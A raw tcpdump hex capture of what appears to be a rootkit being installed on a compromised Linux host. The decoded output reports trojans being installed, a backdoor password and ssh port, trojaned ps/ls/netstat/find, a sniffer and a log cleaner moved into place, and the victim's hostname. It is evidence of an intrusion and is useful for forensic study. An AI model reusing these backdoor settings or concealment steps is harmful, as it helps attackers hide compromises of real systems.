0x0530 1b5b 303b 3336 6d5b 1b5b 313b 3337 6d73 .[0;36m[.[1;37ms
0x0540 681b 5b30 3b33 366d 5d23 2020 2020 2020 h.[0;36m]#......
0x0550 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0560 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0570 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0580 2020 2020 2020 2020 2020 2020 1b5b 306d .............[0m
0x0590 0a .
05:35:51.203981 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 4832:4929(97) ack 1229 win 8576 <nop,nop,timestamp 2127717 633028074> (DF)
0x0000 4500 0095 f352 4000 4006 86aa 800a 097e E....R@.@......~
0x0010 d380 635d 01bb 0639 4fd9 cdad 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 0d1b 0000 0101 080a 0020 7765 ..!...........we
0x0030 25bb 3dea 1b5b 303b 3336 6d5b 1b5b 313b %.=..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 1b5b 306d 0a .[0m.
05:35:51.203991 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 4832:4929(97) ack 1229 win 8576 <nop,nop,timestamp 2127717 633028074> (DF)
0x0000 4500 0095 f352 4000 4006 86aa 800a 097e E....R@.@......~
0x0010 d380 635d 01bb 0639 4fd9 cdad 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 0d1b 0000 0101 080a 0020 7765 ..!...........we
0x0030 25bb 3dea 1b5b 303b 3336 6d5b 1b5b 313b %.=..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 1b5b 306d 0a .[0m.
05:35:51.362777 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 3459 win 31856 <nop,nop,timestamp 633028091 2127713> (DF)
0x0000 4500 0034 d374 4000 3106 b5e9 d380 635d E..4.t@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c850 ...~.9...er.O..P
0x0020 8010 7c70 9d48 0000 0101 080a 25bb 3dfb ..|p.H......%.=.
0x0030 0020 7761 ..wa
05:35:51.363249 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 4929:5246(317) ack 1229 win 8576 <nop,nop,timestamp 2127733 633028091> (DF)
0x0000 4500 0171 f353 4000 4006 85cd 800a 097e E..q.S@.@......~
0x0010 d380 635d 01bb 0639 4fd9 ce0e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 59cc 0000 0101 080a 0020 7775 ..!.Y.........wu
0x0030 25bb 3dfb 1b5b 303b 3336 6d5b 1b5b 313b %.=..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2063 37msh.[0;36m]#.c
0x0050 6865 636b 696e 6720 666f 7220 7265 6d6f hecking.for.remo
0x0060 7465 206c 6f67 6769 6e67 2e2e 2e20 1b5b te.logging.....[
0x0070 306d 1b5b 303b 3336 6d5b 1b5b 313b 3337 0m.[0;36m[.[1;37
0x0080 6d73 681b 5b30 3b33 366d 5d23 2067 7565 msh.[0;36m]#.gue
0x0090 7373 206e 6f74 2e1b 5b30 6d0a 1b5b 303b ss.not..[0m..[0;
0x00a0 3336 6d5b 1b5b 313b 3337 6d73 681b 5b30 36m[.[1;37msh.[0
0x00b0 3b33 366d 5d23 205b 496e 7374 616c 6c69 ;36m]#.[Installi
0x00c0 6e67 2074 726f 6a61 6e73 2e2e 2e2e 5d20 ng.trojans....].
0x00d0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00e0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00f0 201b 5b31 3b33 346d 2020 2020 2020 201b ..[1;34m........
0x0100 5b30 6d0a 1b5b 303b 3336 6d5b 1b5b 313b [0m..[0;36m[.[1;
0x0110 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0120 5573 696e 6720 5061 7373 776f 7264 203a Using.Password.:
0x0130 201b 5b31 3b33 376d 726f 6f74 6572 2020 ..[1;37mrooter..
0x0140 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0150 2020 2020 2020 2020 2020 2020 2020 1b5b ...............[
0x0160 313b 3334 6d20 2020 2020 2020 1b5b 306d 1;34m........[0m
0x0170 0a .
05:35:51.363255 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 4929:5246(317) ack 1229 win 8576 <nop,nop,timestamp 2127733 633028091> (DF)
0x0000 4500 0171 f353 4000 4006 85cd 800a 097e E..q.S@.@......~
0x0010 d380 635d 01bb 0639 4fd9 ce0e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 59cc 0000 0101 080a 0020 7775 ..!.Y.........wu
0x0030 25bb 3dfb 1b5b 303b 3336 6d5b 1b5b 313b %.=..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2063 37msh.[0;36m]#.c
0x0050 6865 636b 696e 6720 666f 7220 7265 6d6f hecking.for.remo
0x0060 7465 206c 6f67 6769 6e67 2e2e 2e20 1b5b te.logging.....[
0x0070 306d 1b5b 303b 3336 6d5b 1b5b 313b 3337 0m.[0;36m[.[1;37
0x0080 6d73 681b 5b30 3b33 366d 5d23 2067 7565 msh.[0;36m]#.gue
0x0090 7373 206e 6f74 2e1b 5b30 6d0a 1b5b 303b ss.not..[0m..[0;
0x00a0 3336 6d5b 1b5b 313b 3337 6d73 681b 5b30 36m[.[1;37msh.[0
0x00b0 3b33 366d 5d23 205b 496e 7374 616c 6c69 ;36m]#.[Installi
0x00c0 6e67 2074 726f 6a61 6e73 2e2e 2e2e 5d20 ng.trojans....].
0x00d0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00e0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00f0 201b 5b31 3b33 346d 2020 2020 2020 201b ..[1;34m........
0x0100 5b30 6d0a 1b5b 303b 3336 6d5b 1b5b 313b [0m..[0;36m[.[1;
0x0110 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0120 5573 696e 6720 5061 7373 776f 7264 203a Using.Password.:
0x0130 201b 5b31 3b33 376d 726f 6f74 6572 2020 ..[1;37mrooter..
0x0140 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0150 2020 2020 2020 2020 2020 2020 2020 1b5b ...............[
0x0160 313b 3334 6d20 2020 2020 2020 1b5b 306d 1;34m........[0m
0x0170 0a .
05:35:51.395516 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 4929 win 31856 <nop,nop,timestamp 633028094 2127717> (DF)
0x0000 4500 0034 d386 4000 3106 b5d7 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 ce0e ...~.9...er.O...
0x0020 8010 7c70 9783 0000 0101 080a 25bb 3dfe ..|p........%.=.
0x0030 0020 7765 ..we
05:35:51.479307 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5246:5347(101) ack 1229 win 8576 <nop,nop,timestamp 2127737 633028094> (DF)
0x0000 4500 0099 f354 4000 4006 86a4 800a 097e E....T@.@......~
0x0010 d380 635d 01bb 0639 4fd9 cf4b 2e65 72e3 ..c]...9O..K.er.
0x0020 8018 2180 7076 0000 0101 080a 0020 7779 ..!.pv........wy
0x0030 25bb 3dfe 1b5b 303b 3336 6d5b 1b5b 313b %.=..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2055 7369 6e67 2073 7368 .......Using.ssh
0x0060 2d70 6f72 7420 3a20 1b5b 313b 3337 6d31 -port.:..[1;37m1
0x0070 3938 3520 2020 2020 2020 2020 2020 2020 985.............
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 2020 2020 1b5b 306d 0a .....[0m.
05:35:51.479317 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5246:5347(101) ack 1229 win 8576 <nop,nop,timestamp 2127737 633028094> (DF)
0x0000 4500 0099 f354 4000 4006 86a4 800a 097e E....T@.@......~
0x0010 d380 635d 01bb 0639 4fd9 cf4b 2e65 72e3 ..c]...9O..K.er.
0x0020 8018 2180 7076 0000 0101 080a 0020 7779 ..!.pv........wy
0x0030 25bb 3dfe 1b5b 303b 3336 6d5b 1b5b 313b %.=..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2055 7369 6e67 2073 7368 .......Using.ssh
0x0060 2d70 6f72 7420 3a20 1b5b 313b 3337 6d31 -port.:..[1;37m1
0x0070 3938 3520 2020 2020 2020 2020 2020 2020 985.............
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 2020 2020 1b5b 306d 0a .....[0m.
05:35:51.552632 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 5246 win 31856 <nop,nop,timestamp 633028110 2127733> (DF)
0x0000 4500 0034 d3e0 4000 3106 b57d d380 635d E..4..@.1..}..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 cf4b ...~.9...er.O..K
0x0020 8010 7c70 9626 0000 0101 080a 25bb 3e0e ..|p.&......%.>.
0x0030 0020 7775 ..wu
05:35:51.672923 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 5347 win 31856 <nop,nop,timestamp 633028122 2127737> (DF)
0x0000 4500 0034 d425 4000 3106 b538 d380 635d E..4.%@.1..8..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 cfb0 ...~.9...er.O...
0x0020 8010 7c70 95b1 0000 0101 080a 25bb 3e1a ..|p........%.>.
0x0030 0020 7779 ..wy
05:35:56.045612 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5347:5439(92) ack 1229 win 8576 <nop,nop,timestamp 2128189 633028122> (DF)
0x0000 4500 0090 f355 4000 4006 86ac 800a 097e E....U@.@......~
0x0010 d380 635d 01bb 0639 4fd9 cfb0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 78f7 0000 0101 080a 0020 793d ..!.x.........y=
0x0030 25bb 3e1a 1b5b 303b 3336 6d5b 1b5b 313b %.>..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2020 3a20 7073 2f64 752f ........:.ps/du/
0x0060 6c73 2f74 6f70 2f6e 6574 7374 6174 2f66 ls/top/netstat/f
0x0070 696e 6420 6261 636b 646f 6f72 6564 2020 ind.backdoored..
0x0080 2020 2020 2020 2020 2020 201b 5b30 6d0a ............[0m.
05:35:56.045622 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5347:5439(92) ack 1229 win 8576 <nop,nop,timestamp 2128189 633028122> (DF)
0x0000 4500 0090 f355 4000 4006 86ac 800a 097e E....U@.@......~
0x0010 d380 635d 01bb 0639 4fd9 cfb0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 78f7 0000 0101 080a 0020 793d ..!.x.........y=
0x0030 25bb 3e1a 1b5b 303b 3336 6d5b 1b5b 313b %.>..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2020 3a20 7073 2f64 752f ........:.ps/du/
0x0060 6c73 2f74 6f70 2f6e 6574 7374 6174 2f66 ls/top/netstat/f
0x0070 696e 6420 6261 636b 646f 6f72 6564 2020 ind.backdoored..
0x0080 2020 2020 2020 2020 2020 201b 5b30 6d0a ............[0m.
05:35:56.047655 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5439:5536(97) ack 1229 win 8576 <nop,nop,timestamp 2128190 633028122> (DF)
0x0000 4500 0095 f356 4000 4006 86a6 800a 097e E....V@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d00c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 08b3 0000 0101 080a 0020 793e ..!...........y>
0x0030 25bb 3e1a 1b5b 303b 3336 6d5b 1b5b 313b %.>..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 1b5b 306d 0a .[0m.
05:35:56.047666 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5439:5536(97) ack 1229 win 8576 <nop,nop,timestamp 2128190 633028122> (DF)
0x0000 4500 0095 f356 4000 4006 86a6 800a 097e E....V@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d00c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 08b3 0000 0101 080a 0020 793e ..!...........y>
0x0030 25bb 3e1a 1b5b 303b 3336 6d5b 1b5b 313b %.>..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2020 37msh.[0;36m]#..
0x0050 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 1b5b 306d 0a .[0m.
05:35:56.233982 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 5536 win 31856 <nop,nop,timestamp 633028578 2128189> (DF)
0x0000 4500 0034 df7a 4000 3106 a9e3 d380 635d E..4.z@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 d06d ...~.9...er.O..m
0x0020 8010 7c70 9168 0000 0101 080a 25bb 3fe2 ..|p.h......%.?.
0x0030 0020 793d ..y=
05:35:56.258331 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5536:5955(419) ack 1229 win 8576 <nop,nop,timestamp 2128201 633028578> (DF)
0x0000 4500 01d7 f357 4000 4006 8563 800a 097e E....W@.@..c...~
0x0010 d380 635d 01bb 0639 4fd9 d06d 2e65 72e3 ..c]...9O..m.er.
0x0020 8018 2180 d728 0000 0101 080a 0020 7949 ..!..(........yI
0x0030 25bb 3fe2 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 205b 37msh.[0;36m]#.[
0x0050 4d6f 7669 6e67 206f 7572 2066 696c 6573 Moving.our.files
0x0060 2e2e 2e5d 2020 2020 2020 2020 2020 2020 ...]............
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 1b5b 306d 0a1b 5b30 3b33 366d 5b1b 5b31 .[0m..[0;36m[.[1
0x00a0 3b33 376d 7368 1b5b 303b 3336 6d5d 2320 ;37msh.[0;36m]#.
0x00b0 2020 2020 2020 2020 203a 2073 6e69 6666 .........:.sniff
0x00c0 2f70 6172 7365 2f73 6175 6265 7220 6d6f /parse/sauber.mo
0x00d0 7665 6420 2020 2020 2020 2020 2020 2020 ved.............
0x00e0 2020 2020 2020 2020 201b 5b30 6d0a 1b5b ..........[0m..[
0x00f0 303b 3336 6d5b 1b5b 313b 3337 6d73 681b 0;36m[.[1;37msh.
0x0100 5b30 3b33 366d 5d23 205b 4d6f 6469 6679 [0;36m]#.[Modify
0x0110 696e 6720 7379 7374 656d 2073 6574 7469 ing.system.setti
0x0120 6e67 7320 746f 2073 7569 7465 206f 7572 ngs.to.suite.our
0x0130 206e 6565 6473 5d20 2020 2020 2020 2020 .needs].........
0x0140 2020 2020 2020 2020 2020 201b 5b30 6d0a ............[0m.
0x0150 1b5b 313b 3337 6d2d 2d2d 2d2d 2d2d 2d2d .[1;37m---------
0x0160 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0170 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0180 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0190 2d2d 2d2d 2d2d 2d2d 2d2d 2d1b 5b30 6d0a -----------.[0m.
0x01a0 1b5b 303b 3336 6d5b 1b5b 313b 3337 6d73 .[0;36m[.[1;37ms
0x01b0 681b 5b30 3b33 366d 5d23 205b 5379 7374 h.[0;36m]#.[Syst
0x01c0 656d 2049 6e66 6f72 6d61 7469 6f6e 2e2e em.Information..
0x01d0 2e5d 1b5b 306d 0a .].[0m.
05:35:56.258345 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5536:5955(419) ack 1229 win 8576 <nop,nop,timestamp 2128201 633028578> (DF)
0x0000 4500 01d7 f357 4000 4006 8563 800a 097e E....W@.@..c...~
0x0010 d380 635d 01bb 0639 4fd9 d06d 2e65 72e3 ..c]...9O..m.er.
0x0020 8018 2180 d728 0000 0101 080a 0020 7949 ..!..(........yI
0x0030 25bb 3fe2 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 205b 37msh.[0;36m]#.[
0x0050 4d6f 7669 6e67 206f 7572 2066 696c 6573 Moving.our.files
0x0060 2e2e 2e5d 2020 2020 2020 2020 2020 2020 ...]............
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 1b5b 306d 0a1b 5b30 3b33 366d 5b1b 5b31 .[0m..[0;36m[.[1
0x00a0 3b33 376d 7368 1b5b 303b 3336 6d5d 2320 ;37msh.[0;36m]#.
0x00b0 2020 2020 2020 2020 203a 2073 6e69 6666 .........:.sniff
0x00c0 2f70 6172 7365 2f73 6175 6265 7220 6d6f /parse/sauber.mo
0x00d0 7665 6420 2020 2020 2020 2020 2020 2020 ved.............
0x00e0 2020 2020 2020 2020 201b 5b30 6d0a 1b5b ..........[0m..[
0x00f0 303b 3336 6d5b 1b5b 313b 3337 6d73 681b 0;36m[.[1;37msh.
0x0100 5b30 3b33 366d 5d23 205b 4d6f 6469 6679 [0;36m]#.[Modify
0x0110 696e 6720 7379 7374 656d 2073 6574 7469 ing.system.setti
0x0120 6e67 7320 746f 2073 7569 7465 206f 7572 ngs.to.suite.our
0x0130 206e 6565 6473 5d20 2020 2020 2020 2020 .needs].........
0x0140 2020 2020 2020 2020 2020 201b 5b30 6d0a ............[0m.
0x0150 1b5b 313b 3337 6d2d 2d2d 2d2d 2d2d 2d2d .[1;37m---------
0x0160 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0170 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0180 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0190 2d2d 2d2d 2d2d 2d2d 2d2d 2d1b 5b30 6d0a -----------.[0m.
0x01a0 1b5b 303b 3336 6d5b 1b5b 313b 3337 6d73 .[0;36m[.[1;37ms
0x01b0 681b 5b30 3b33 366d 5d23 205b 5379 7374 h.[0;36m]#.[Syst
0x01c0 656d 2049 6e66 6f72 6d61 7469 6f6e 2e2e em.Information..
0x01d0 2e5d 1b5b 306d 0a .].[0m.
05:35:56.272731 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5955:6040(85) ack 1229 win 8576 <nop,nop,timestamp 2128203 633028578> (DF)
0x0000 4500 0089 f358 4000 4006 86b0 800a 097e E....X@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d210 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 2b2a 0000 0101 080a 0020 794b ..!.+*........yK
0x0030 25bb 3fe2 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2048 37msh.[0;36m]#.H
0x0050 6f73 746e 616d 6520 3a1b 5b31 3b33 376d ostname.:.[1;37m
0x0060 2063 6169 726f 322e 6373 2e70 7572 6475 .cairo2.cs.purdu
0x0070 652e 6564 7520 2831 3238 2e31 302e 392e e.edu.(128.10.9.
0x0080 3132 3629 1b5b 306d 0a 126).[0m.
05:35:56.272741 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 5955:6040(85) ack 1229 win 8576 <nop,nop,timestamp 2128203 633028578> (DF)
0x0000 4500 0089 f358 4000 4006 86b0 800a 097e E....X@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d210 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 2b2a 0000 0101 080a 0020 794b ..!.+*........yK
0x0030 25bb 3fe2 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2048 37msh.[0;36m]#.H
0x0050 6f73 746e 616d 6520 3a1b 5b31 3b33 376d ostname.:.[1;37m
0x0060 2063 6169 726f 322e 6373 2e70 7572 6475 .cairo2.cs.purdu
0x0070 652e 6564 7520 2831 3238 2e31 302e 392e e.edu.(128.10.9.
0x0080 3132 3629 1b5b 306d 0a 126).[0m.
05:35:56.319945 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6040:6115(75) ack 1229 win 8576 <nop,nop,timestamp 2128210 633028578> (DF)
0x0000 4500 007f f359 4000 4006 86b9 800a 097e E....Y@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d265 2e65 72e3 ..c]...9O..e.er.
0x0020 8018 2180 9e12 0000 0101 080a 0020 7952 ..!...........yR
0x0030 25bb 3fe2 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2041 37msh.[0;36m]#.A
0x0050 7263 6820 3a20 1b5b 313b 3337 6d69 3638 rch.:..[1;37mi68
0x0060 3620 2d2b 2d20 626f 676f 6d69 7073 203a 6.-+-.bogomips.:
0x0070 2035 3133 382e 3032 2027 1b5b 306d 0a .5138.02.'.[0m.
05:35:56.319958 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6040:6115(75) ack 1229 win 8576 <nop,nop,timestamp 2128210 633028578> (DF)
0x0000 4500 007f f359 4000 4006 86b9 800a 097e E....Y@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d265 2e65 72e3 ..c]...9O..e.er.
0x0020 8018 2180 9e12 0000 0101 080a 0020 7952 ..!...........yR
0x0030 25bb 3fe2 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2041 37msh.[0;36m]#.A
0x0050 7263 6820 3a20 1b5b 313b 3337 6d69 3638 rch.:..[1;37mi68
0x0060 3620 2d2b 2d20 626f 676f 6d69 7073 203a 6.-+-.bogomips.:
0x0070 2035 3133 382e 3032 2027 1b5b 306d 0a .5138.02.'.[0m.
05:35:56.453257 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 6040 win 31856 <nop,nop,timestamp 633028600 2128201> (DF)
0x0000 4500 0034 dff6 4000 3106 a967 d380 635d E..4..@.1..g..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 d265 ...~.9...er.O..e
0x0020 8010 7c70 8f4e 0000 0101 080a 25bb 3ff8 ..|p.N......%.?.
0x0030 0020 7949 ..yI
05:35:56.454143 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6115:6221(106) ack 1229 win 8576 <nop,nop,timestamp 2128218 633028600> (DF)
0x0000 4500 009e f35a 4000 4006 8699 800a 097e E....Z@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d2b0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1ed5 0000 0101 080a 0020 795a ..!...........yZ
0x0030 25bb 3ff8 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2041 37msh.[0;36m]#.A
0x0050 6c74 6572 6e61 7469 7665 2049 5020 3a1b lternative.IP.:.
0x0060 5b31 3b33 376d 2031 3238 2e31 302e 392e [1;37m.128.10.9.
0x0070 3132 3620 202d 2b2d 2020 4d69 6768 7420 126..-+-..Might.
0x0080 6265 205b 2031 205d 2061 6374 6976 6520 be.[.1.].active.
0x0090 6164 6170 7465 7273 2e1b 5b30 6d0a adapters..[0m.
05:35:56.454152 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6115:6221(106) ack 1229 win 8576 <nop,nop,timestamp 2128218 633028600> (DF)
0x0000 4500 009e f35a 4000 4006 8699 800a 097e E....Z@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d2b0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1ed5 0000 0101 080a 0020 795a ..!...........yZ
0x0030 25bb 3ff8 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2041 37msh.[0;36m]#.A
0x0050 6c74 6572 6e61 7469 7665 2049 5020 3a1b lternative.IP.:.
0x0060 5b31 3b33 376d 2031 3238 2e31 302e 392e [1;37m.128.10.9.
0x0070 3132 3620 202d 2b2d 2020 4d69 6768 7420 126..-+-..Might.
0x0080 6265 205b 2031 205d 2061 6374 6976 6520 be.[.1.].active.
0x0090 6164 6170 7465 7273 2e1b 5b30 6d0a adapters..[0m.
05:35:56.458795 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6221:6307(86) ack 1229 win 8576 <nop,nop,timestamp 2128219 633028600> (DF)
0x0000 4500 008a f35b 4000 4006 86ac 800a 097e E....[@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d31a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 7c47 0000 0101 080a 0020 795b ..!.|G........y[
0x0030 25bb 3ff8 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2044 37msh.[0;36m]#.D
0x0050 6973 7472 6962 7574 696f 6e3a 1b5b 313b istribution:.[1;
0x0060 3337 6d20 5265 6420 4861 7420 4c69 6e75 37m.Red.Hat.Linu
0x0070 7820 7265 6c65 6173 6520 372e 3220 2845 x.release.7.2.(E
0x0080 6e69 676d 6129 1b5b 306d nigma).[0m
05:35:56.458805 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6221:6307(86) ack 1229 win 8576 <nop,nop,timestamp 2128219 633028600> (DF)
0x0000 4500 008a f35b 4000 4006 86ac 800a 097e E....[@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d31a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 7c47 0000 0101 080a 0020 795b ..!.|G........y[
0x0030 25bb 3ff8 1b5b 303b 3336 6d5b 1b5b 313b %.?..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2044 37msh.[0;36m]#.D
0x0050 6973 7472 6962 7574 696f 6e3a 1b5b 313b istribution:.[1;
0x0060 3337 6d20 5265 6420 4861 7420 4c69 6e75 37m.Red.Hat.Linu
0x0070 7820 7265 6c65 6173 6520 372e 3220 2845 x.release.7.2.(E
0x0080 6e69 676d 6129 1b5b 306d nigma).[0m
05:35:56.482229 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6307:6308(1) ack 1229 win 8576 <nop,nop,timestamp 2128222 633028600> (DF)
0x0000 4500 0035 f35c 4000 4006 8700 800a 097e E..5.\@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d370 2e65 72e3 ..c]...9O..p.er.
0x0020 8018 2180 df15 0000 0101 080a 0020 795e ..!...........y^
0x0030 25bb 3ff8 0a %.?..
05:35:56.482237 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6307:6308(1) ack 1229 win 8576 <nop,nop,timestamp 2128222 633028600> (DF)
0x0000 4500 0035 f35c 4000 4006 8700 800a 097e E..5.\@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d370 2e65 72e3 ..c]...9O..p.er.
0x0020 8018 2180 df15 0000 0101 080a 0020 795e ..!...........y^
0x0030 25bb 3ff8 0a %.?..
05:35:56.513304 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 6115 win 31856 <nop,nop,timestamp 633028606 2128210> (DF)
0x0000 4500 0034 e024 4000 3106 a939 d380 635d E..4.$@.1..9..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 d2b0 ...~.9...er.O...
0x0020 8010 7c70 8ef4 0000 0101 080a 25bb 3ffe ..|p........%.?.
0x0030 0020 7952 ..yR
05:35:56.572085 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6308:6659(351) ack 1229 win 8576 <nop,nop,timestamp 2128226 633028606> (DF)
0x0000 4500 0193 f35d 4000 4006 85a1 800a 097e E....]@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d371 2e65 72e3 ..c]...9O..q.er.
0x0020 8018 2180 620e 0000 0101 080a 0020 7962 ..!.b.........yb
0x0030 25bb 3ffe 1b5b 313b 3337 6d2d 2d2d 2d2d %.?..[1;37m-----
0x0040 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
